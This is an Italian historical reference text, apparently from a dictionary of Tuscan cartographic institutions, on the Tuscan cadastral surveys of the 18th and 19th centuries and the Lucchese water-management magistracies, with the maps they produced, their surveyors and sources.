Le operazioni sul terreno e i lavori a tavolino relativi all’impianto catastale procedettero speditamente, grazie anche al sistema adottato del compenso a cottimo agli operatori, fino alla loro ultimazione nel 1826, fatte salve le molte correzioni alle 8567 mappe in scala 1:2500 e 1:5000 e ai 242 quadri d’unione comunali a più piccola scala (quasi sempre tra 1:10.000 e 1:20.000), alle descrizioni e stime che si resero necessarie per rimediare ai frequenti errori di topografia o di estimo agrario, e che richiesero ancora circa un quinquennio. Solo per le isole i lavori iniziarono e si conclusero rapidamente nei primi anni ’40.
Le operazioni di misura furono dirette dall’Inghirami che – dopo aver verificato gli errori presenti nelle misure della piccola base trigonometrica costruita nel 1808 a Firenze dall’astronomo tedesco barone de Zach e nella triangolazione francese della Corsica della fine del XVIII secolo diretta dal Tranchot e dall’altro geodeta Puissant collegata alle isole e alla costa della Toscana durante l’occupazione napoleonica in previsione del nuovo catasto – nell’estate 1817 misurò la nuova e più lunga base San Pietro a Grado-Palazzo ai Ponti di Stagno sulla quale appoggiare il primo triangolo della rete trigonometrica della Toscana.
L’Inghirami si incaricò quindi della triangolazione generale di primo grado (incardinata su ben 767 punti) che doveva servire da fondamento “per la triangolazione di secondo grado, che restava affidata a tre ingegneri ispettori [Luigi Campani nel Pisano, Belli nel Senese e Francesco Guasti nel Fiorentino], ed era destinata a coprire l’intera superficie di ogni Comunità, come pure a fornire le coordinate geografiche. Gli ispettori avevano il compito iniziale di visitare e definire i confini delle Comunità del Granducato, mantenendo il più possibile la delimitazione decisa in periodo francese” e ove necessario provvedere alla razionalizzazione dei confini attraverso il loro dimensionamento su strade e corsi d’acqua. “Essi dovevano inoltre suddividere le comunità in sezioni ai fini della compilazione delle mappe, e controllare l’opera dei [numerosi] geometri. Questi ultimi, divisi in due classi [68 per la prima e 195 per la seconda] come in periodo francese, eseguivano il rilievo effettivo, non trigonometrico, delle comunità. I risultati dei loro calcoli, ottenuti con una misura reale, dovevano concordare con quelli desunti dagli ispettori con l’ausilio degli strumenti diottrici di precisione” (Biagioli, 1975, pp. 49-54).
L’attivazione del catasto per la terraferma avvenne con motuproprio del 4 giugno 1832. A partire da quella data, all’impianto si aggiunsero i nuovi materiali cartografici e descrittivi delle cosiddette volture, prodotti per l’aggiornamento graduale del catasto lorenese: un’opera minuta che sarebbe terminata solo con la realizzazione del nuovo catasto italiano alla fine degli anni ’30 del XX secolo (Biagioli, 1975, pp. 36-83).

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade.
Già nel 1825 (a lavori catastali ancora in corso), la Deputazione venne assegnata alle dipendenze della nuova Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade, che nel 1834 mutò la sua denominazione in Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto.

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato; Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali. Nel 1849 la Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto, trasformandosi in Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato, perse ogni competenza sul catasto.
I materiali catastali – con i compiti della loro conservazione e aggiornamento – furono trasferiti alle Cancellerie comunitative. Nel nuovo Regno d’Italia, questi uffici periferici furono riordinati con la denominazione di Agenzie delle Imposte nel 1875, finché – in seguito alla creazione della Direzione Generale del Catasto presso il Ministero delle Finanze – le Agenzie assunsero il nome di Uffici Distrettuali delle Imposte Dirette e poi di Uffici Tecnici Erariali.

Produzione cartografica

La catastazione geometrica tardo-settecentesca ha prodotto qualche centinaio di mappe con relativi registri descrittivi conservati in vari fondi degli Archivi di Stato di Firenze, di Pistoia-Pescia e di Siena e in diversi archivi comunali.
Dalle catastazioni napoleonica e lorenese ferdinandeo-leopoldina, solo per l’impianto, sono scaturite quasi 9000 fra mappe in scala 1:2500 e 1:5000 e quadri d’unione comunali in scala ridotta variabile fra 1:10.000 e 1:50.000 (con registri descrittivi quali Tavole indicative e Campioni dei proprietari e delle comunità, nonché altre documentazioni scritte preparatorie come i Rapporti di stima e le Repliche dei gonfalonieri ai quesiti agrari): tutti materiali conservati – con gli aggiornamenti prodotti successivamente all’attivazione – negli Archivi di Stato dei capoluoghi delle province toscane, per i territori di loro specifica pertinenza.

Operatori

Deputazioni sull’estimo (1778-85): Francesco Bombicci e Gio. Niccola Mazzoni (estimi fiorentini, 1778-1785); Bernardino Tozzetti e Antonio Faleri (estimi senesi, 1780-1785).
Catasto napoleonico (1807-14): Luigi Campani, Prospero Badalassi, Graziano Capaccioli, Baldassarre Marchi, Braccesi.
Catasto ferdinandeo-leopoldino (1817-34): La triangolazione primaria generale fu eseguita in circa un decennio, dal 1816 in poi, da Giovanni Inghirami, dai suoi collaboratori astronomi dell’Osservatorio Ximeniano Cosimo Del Nacca, Numa Pompilio Tanzini, Giuseppe Pedralli, Leopoldo Pasqui, e dai giovani allievi Giovacchino Callai e Pellegrino Papini di Firenze e Ferdinando Mingazzini di Imola (Rombai, 1989, pp. 37, 56, 59, 72, 78, 91-95, 98, 114 e 117).
Alle operazioni di triangolazione secondaria e di misurazione e rilievo topografici furono addetti, tra gli altri, gli ingegneri ispettori: Luigi Campani per il Pisano, Francesco Guasti per il Fiorentino e Belli per il Senese; e gli ingegneri e geometri di prima e seconda classe (non pochi di essi allievi dell’Inghirami o degli altri collegi scolopi toscani): Baglini Luigi, Bagnoli Luigi, Barboni Francesco, Becattini Giuseppe, Gaetano Becherucci, Ippolito Bordoni, Graziano Capaccioli, Capecchi, Cerri Lorenzo, Cerrini, Giuseppe Faldi, Angelo Falorni, Fossi, Frassi, Galli, Luigi Ganucci di Radicofani, Guidi Giovan Domenico, Livi Giuseppe, Magheri Giuseppe, Baldassarre Marchi, F. Martinelli, Massaini, Lamberto Mey, Giuseppe Metelli di Roma, Moriconi, Mozzi, Giovanni Naldoni, Natucci, Giusto Nelli, Paoli, Passeri Girolamo, Passetti, Pazzi, Piccioli Savatore, Corrado Puccini, Gaetano Rigacci, Ristori, Ruini Giovanni, Salvadori Carlo, Salvadori Lorenzo, Sancasciani, Sorelli, Spinazzi Venceslao, Ferdinando Tartini Salvatici, Ugolini, ecc. (Rombai, 1989, pp. 66-95).

Riferimenti bibliografici e archivistici

Barsanti, Bonelli Conenna e Rombai, 2001; Bellinazzi e Manno Tolu, 1995; Bertocci, Bini e Martellacci, 1991; Biagioli, 1981; Bigazzi, Grazi e Giulianelli, 1985; Bueti, 1987; Bueti, 1990; Canestrelli, 1994; Carapelli e Cozzi, 1981/1982; Di Pietro e Fanelli, 1973; Giglia, 1997; Guarducci e Rombai, 1998; Guerrini, 1987; Ludovico, 1991; Manetti, 1991; Mantovani, 1987; Mazzanti e Sbrilli, 1991; Nanni, Pierulivo e Regoli, 1996; Piccardi, 1999/2004; Raffo Maggini, 2001; Rombai, 1997; Rombai, 1989; Rombai, 1993; Romby, 1999; Rossi, 1990; Siemoni, 1998; Toccafondi, 1996; Toccafondi e Vivoli, 1993, pp. 241-243; Biagioli, 1975. ASF-ASA-ASGr-ASP-ASS-ASPo-ASPt-ASLi, Catasto Generale Toscano; ASF, Segreteria di Finanze. Affari prima del 1788; AOX, Carte Giovanni Inghirami.

Leonardo Rombai, Anna Guarducci (Siena)

Deputazioni sopra i corsi d’acqua (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Offizio sopra la Maona (1463-1576)

Offizio sopra la Foce (1576-1618)

Offizio sopra la Maona e la Foce di Viareggio (1618-1801)

Offizio sopra l’Ozzeri e Rogio (1545-1801)

Deputazione sopra il Nuovo Ozzeri (1768-1875)

Offizio sopra il Fiume di Camaiore (1453-1801)

Offizio sopra la Pescia di Collodi (1579-1801)

Offizio sopra la Maona/Offizio sopra la Foce/Offizio sopra la Maona e la Foce di Viareggio.La vasta pianura costiera che si apre, serrata ad oriente dalla catena delle Alpi Apuane, fra il fiume Magra e il Serchio, è sempre stata nei tempi antichi un territorio insalubre e caratterizzato da ampie zone umide che rendevano tutta la zona molto instabile e difficile da sfruttare a favore delle coltivazioni agricole. Fintanto che le condizioni amministrative e i diritti della città di Lucca sulle Marine di Viareggio e di Camaiore non si delinearono definitivamente, quest’area non fu mai interessata da un’opera completa di bonifica, e fino alla metà del XV secolo non si assistette a nessun risanamento se non di piccoli appezzamenti privati ad opera dei rispettivi proprietari.
Perso il possedimento del castello e porto di Motrone, però, la Repubblica di Lucca cominciò a pensare che fosse assolutamente necessaria una sistemazione di tutta la fascia costiera, avendo quest’idea un duplice valore: da un lato la bonificazione di quei luoghi avrebbe risolto non pochi problemi di assetto idrogeologico e sanitario, mentre da un altro si poteva predisporre la marina di Viareggio a sicuro ed efficiente scalo portuale ed unico sbocco al mare dello stato lucchese, in sostituzione di Motrone.
Fu così che, dopo dei tentativi mal riusciti eseguiti a partire del 1463, il Consiglio Generale decise di affidare l’opera ad una società detta Maona, formata da cittadini, “mettendo a disposizione di essa il terreno nel 1463 destinato alla bonificazione, eccettuandone i laghi e le fosse, a patto che dovesse eseguire a sue spese i lavori, e pagare il prezzo dei terreni de’ particolari. I lavori cominciati solamente nel 1506 […], furono terminati nel 1508, e nell’anno appresso se ne fece la spartizione fra i soci o maonisti, in 28 porzioni che si dissero Colonnelli, suddivisi ognuno in 12 particelle”.
I lavori eseguiti furono essenzialmente di canalizzazione e non di prosciugamento totale dei terreni, cosicché si rese il territorio atto alla coltivazione, ma ben presto la “mischianza delle acque salse colle dolci, favorita grandemente da que’ nuovi canali, guastò in tal modo l’aria de’ dintorni, già non buona, che i pochi abitanti ne menarono breve e malsana vita”. Con un progressivo spopolamento delle aree bonificate, anche le colture in breve tempo furono abbandonate e, neanche mezzo secolo dopo queste opere idrauliche, la zona tornò quasi nelle stesse condizioni idrografiche e insalubri iniziali.
Negli anni successivi furono elaborati nuovi studi e progetti di bonifica dell’area, il primo dei quali, nel 1565, affidato al tecnico Piero della Lena, comprendeva anche il riassetto della foce della Fossa di Viareggio che spesso si interrava e non permetteva un buono scolo delle acque. Il progetto prevedeva la costruzione di un canale che raccogliesse le acque che provenivano dal monte Quiesa e che, evitando con grossi argini che spagliassero nel padule, venissero convogliate nel Fosso di Viareggio, sì da aumentarne la portata ed evitare l’accumulo di detriti presso lo sbocco in mare. Ma anche questa soluzione non portò i risultati sperati, come del resto un secondo progetto, commissionato all’ingegnere olandese Guglielmo Raet, nel 1577, che propose di adottare delle tecniche già sperimentate nei Paesi Bassi, come l’arginatura delle zone di bonifica o l’utilizzo di pompe idrauliche per lo svuotamento della casse.
Tutte le operazioni che furono adottate fin dall’inizio, anche quelle commissionate e “appaltate” all’Offizio della Maona, erano comunque sempre state controllate da un consiglio di sei cittadini eletto dagli Anziani. In considerazione di ciò, possiamo a tutti gli effetti parlare di una vera magistratura che si prendeva cura della sistemazione della pianura costiera versiliese, come quella che nel luglio del 1576, fu ufficializzata riguardo al mantenimento e al consolidamento dello sbocco e scalo viareggino, ovvero l’Offizio sopra la Foce di Viareggio.
Successivamente, con decreto del 30 gennaio 1618, il Consiglio Generale riunì le due magistrature costiere in un’unica, che mantenne la doppia denominazione di Offizio sopra la Maona e la Foce di Viareggio, dapprima composta da tre membri cittadini, e poi aumentati a sei nel 1648.
“Può dirsi dunque che dal 1618 al 1801 facesse capo nell’Offizio della Foce la somma delle faccende riguardanti le terre, le acque, le strade e l’aria delle Marine lucchesi,” responsabilità che finalmente furono coronate da un progressivo successo dopo che fu ascoltato, nel 1735 e successivamente, il consiglio (già dato in passato da altri illustri ingegneri) del matematico veneziano Bernardino Zendrini che vedeva la risoluzione dei problemi nell’impedire l’ingresso delle acque salmastre all’interno dei canali di bonifica, ponendo delle cateratte basculanti alla foce del Canale della Burlamacca.
Come tutti gli Offizi della Repubblica lucchese, anche questo cessò le proprie attività nel 1801.

Offizio sopra l’Ozzeri e Rogio. L’Ozzeri e il Rogio sono due bracci del Serchio che, nella sua naturale conformazione, precedentemente cioè ai lavori che interessarono quel tratto che a nord di Lucca, si presentava fortemente anastomizzato: Ozzeri e Rogio si staccavano dal corso principale del fiume e per un certo tratto proseguivano nello stesso alveo, mentre in un secondo tempo facevano “gorgo presso la Pieve di S. Paolo, detta appunto in gurgite, per dividersi in due direzioni, una verso il Lago di Sesto, l’altra verso […] il Serchio”. Il braccio che scolava verso il Lago di Sesto veniva chiamato Rogio mentre quello che tornava ad immettersi nel Serchio era denominato Ozzeri.
Questo particolare assetto idro-morfologico fu la causa di molti allagamenti e danni alle colture.
Già dal XV secolo si trovano dei documenti che fanno riferimento alla formazione di speciali commissioni che avevano il compito di porre rimedio a tali avvenimenti. L’istituzione vera e propria dell’Offizio, però, che si prenderà cura della regimazione fluviale della pianura a sud e ad est di Lucca – che in seguito ai lavori eseguiti sul corso del Serchio aveva nel sistema Ozzeri-Rogio, non più collegato direttamente al fiume principale, comunque un canale di raccoglimento di tutti gli scoli del bacino che così scaricavano da una parte nel Serchio e dall’altra nel Padule – avviene in seguito alla legge del Consiglio Generale del 7 gennaio 1545.
Composta ordinariamente da tre membri eletti fra i cittadini di Lucca, la magistratura si occupò dell’assetto della rete idrica compresa fra il Padule di Sesto e il Serchio fino al 1801.

Deputazione sopra il Nuovo Ozzeri. I continui problemi idrologici che avvenivano nei territori circostanti il Padule di Sesto e quelli contermini all’Ozzeri e il Rogio – che erano sottoposti a due rispettivi Offizi – portarono, nella seconda metà del XVIII secolo, a più attento interessamento da parte dello Stato lucchese. Alla risoluzione di tale contingenza era interessato anche il Governo del Granducato di Toscana che, assieme a Lucca, cercava di promuovere delle valide alternative progettuali.
Nel confronto con lo stato vicino, il Consiglio Generale della Repubblica lucchese decise di affidare il compito ad una nuova deputazione che nasceva dalle competenze affiancate delle due magistrature già esistenti del Padule di Sesto e dell’Ozzeri e Rogio. Con decreto del 30 dicembre del 1768 quindi veniva istituito tale ente che, avvalendosi del personale già impiegato e di nuovi inserimenti opportuni a svolgere il lavoro richiesto, portò alla stesura di un’elaborata relazione in cui si delineava il progetto della costruzione del Nuovo Ozzeri, ovvero di un canale che avrebbe collegato il bacino del Lago di Sesto direttamente con la pianura costiera lucchese, passando sotto i monti di Balbano, per giungere a sfociare in mare presso Viareggio.
Questo studio venne sottoscritto dagli autori – i celebri matematici e idraulici Ximenes, Boscovich e Zanotti che proseguirono le idee già esposte da Giovanni Attilio Arnolfini – il 5 marzo del 1782, ma nonostante la validità del progetto e il consenso del Consiglio Generale a sostenere le spese, questa soluzione incontrò vari ostacoli. Fu così proposta una revisione del tracciato, nel 1784, ad opera del matematico Anton Maria Lorgna che confermava l’idea dello scolo diretto verso il mare, ma proponeva di by-passare i colli presso Filettole e non sotto Balbano.
Ma anche questi pareri non furono mai attuati perché maggiori interessi acquistarono le ipotesi promosse dal Granducato di Toscana. Infatti con la realizzazione della Botte sotto l’Arno, progettata dal matematico pisano Pio Fantoni e rivista da Alessandro Manetti, si arrivò nel 1859 alla realizzazione dell’emissario dalla parte della pianura pisana meridionale, e con le ultime relazioni del 1875, cessarono tutte le attività della deputazione lucchese.

Offizio sopra il Fiume di Camaiore e Offizio sopra la Pescia di Collodi. Queste due deputazioni si riferiscono a corsi d’acqua che, seppur di limitata grandezza, hanno sempre costituito un circoscritto ma costante pericolo per gli abitanti delle zone da loro percorse, a causa del loro carattere torrenziale e della scarsa presa di coscienza delle popolazioni sui reali pericoli che potevano recare.
La pianura versiliese, ad esempio, è stata per molto tempo attraversata in maniera del tutto libera dal fiume Camaiore, che spesso cambiava tracciato e vagava disalveato per tutto il territorio. Questo comportamento apportava, ovviamente, gravi disagi e ingenti danni alle terre coltivate e così il Consiglio Generale decretò, il 23 maggio 1453, che fosse istituita una commissione di cittadini che cercassero di risolvere queste problematiche. I lavori furono effettuati disegnando un corso ben preciso del fiume che lo convogliava verso la Fossa dell’Abate, per poi sfociare in mare, ma nel corso degli anni successivi tale sistemazione risultò essere molto precaria: a tal punto, che anche Alessandro de’ Medici si dovette lagnare ufficialmente con lo Stato lucchese per le soventi tracimazioni del Camaiore nel vicino territorio di Pietrasanta, appartenente a Firenze.
Il 15 luglio 1533 si provvide quindi all’istituzione di un nuovo offizio che ripristinasse l’assetto della zona. I lavori che scavarono un altro letto si svolsero in poco più di due anni, ma anche questa soluzione non portò i risultati aspettati.
La deputazione, composta da tre membri cittadini e eletta straordinariamente per risolvere queste problematiche contingenti, fu rinominata in vari anni successivi, tanto da divenire ben presto una magistratura ordinaria e perpetua, almeno fino al 1801, anno in cui fu soppressa.
Anche per quanto riguarda la Pescia di Collodi, la nascita e le vicende storiche dell’Offizio sono molto simili ai quelle dei precedenti enti, nonostante la deputazione si riferisca ad un fiume che, contrariamente a tutti gli altri fiumi non costieri che nascono dai monti lucchesi, non va a gravare sul bacino lacustre di Sesto, ma su quello della vicina Valdinievole. L’ente venne istituito per la prima volta nel 1579, dapprima straordinariamente al fine di risolvere dei problemi di disalveamento e tracimazione, e successivamente trasformato in Offizio stabile (con decreto del 12 settembre 1600) fino al 1801.

Produzione cartografica

Offizio sopra l’Ozzeri e Rogio. La cartografia prodotta da questo Offizio fu soprattutto di corredo agli studi e ai progetti che venivano eseguiti o proposti. A tal riguardo, sono conservate delle relazioni di vari ingegneri, quali Eustachio Manfredi (1730) e Bernardino Zendrini (1735), che proponevano di erigere delle cateratte allo sbocco dell’Ozzeri per impedire gli allagamenti dovuti ai rigurgiti del Serchio verso il Padule di Sesto (ASLu, Offizio sopra l’Ozzeri e Rogio, 29).

Cartografia della Deputazione sopra il Nuovo Ozzeri. La produzione è costituita essenzialmente da relazioni e perizie fatte per gli studi di una valida alternativa allo scolo delle acque del Padule di Sesto. Tra le altre, è da segnalare la Memoria sopra il Lago di Sesto o Bientina, raccolte per la Deputazione de’ Nove Spettabili Cittadini eletti per l’esame del Progetto del Nuovo Ozzeri da G. At. Arnolfini (ASLu, Deputazione sopra il Nuovo Ozzeri, 3): nella relazione sono presenti varie carte, fra cui della copie di mappe più antiche, quali Copia di un antico disegno rappresentante i laghi di Sesto, di Bientina e di Valdinievole dell’anno 1450 circa (ASLu, Deputazione sopra il Nuovo Ozzeri, 3, tav. IV); Copia di un altro disegno, il cui titolo è come appresso: copia di un disegno vecchio, in qualche parte difettivo, e non proporzionato e di più vi si trova nota ch’è di commissione dello Sp.le Off.e dell’Entrate. S’è copiato nell’infrascritta forma, nonostante che in qualche parte manchi di perfezione (ASLu, Deputazione sopra il Nuovo Ozzeri, 3, tav. V).

Operatori

Le maestranze che prestarono le loro competenze al servizio di uffici e deputazioni sono state numerose, e sono da segnalare personalità molto importanti quali: Eustachio Zanotti (1777-1781); Leonardo Ximenes (1777-1781); Ruggiero Boscovich (1781); Giorgio Martinelli ingegnere (1777-1778); Michele Saverio Flosi (ingegnere, 1777-1778); Rocco Francesconi (ingegnere, 1777-1778); Francesco Butori (ingegnere, 1777); Anton Maria Lorgna (1784).

Riferimenti bibliografici e archivistici

Azzari, 1993, pp. 161-193; Azzari, 2001, pp. 89-106; Barsanti, 1987; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bongi, 1872-1888; Boncompagni e Ulivieri, 2000; Caciagli, 1984; Gallo, 1993; Nepi, 2003; Nepi e Mazzei, 2001. Ricchi fondi specifici dell’ASLu, specialmente Offizio sopra l’Ozzeri e Rogio e Deputazione sopra il Nuovo Ozzeri.

G. Ta.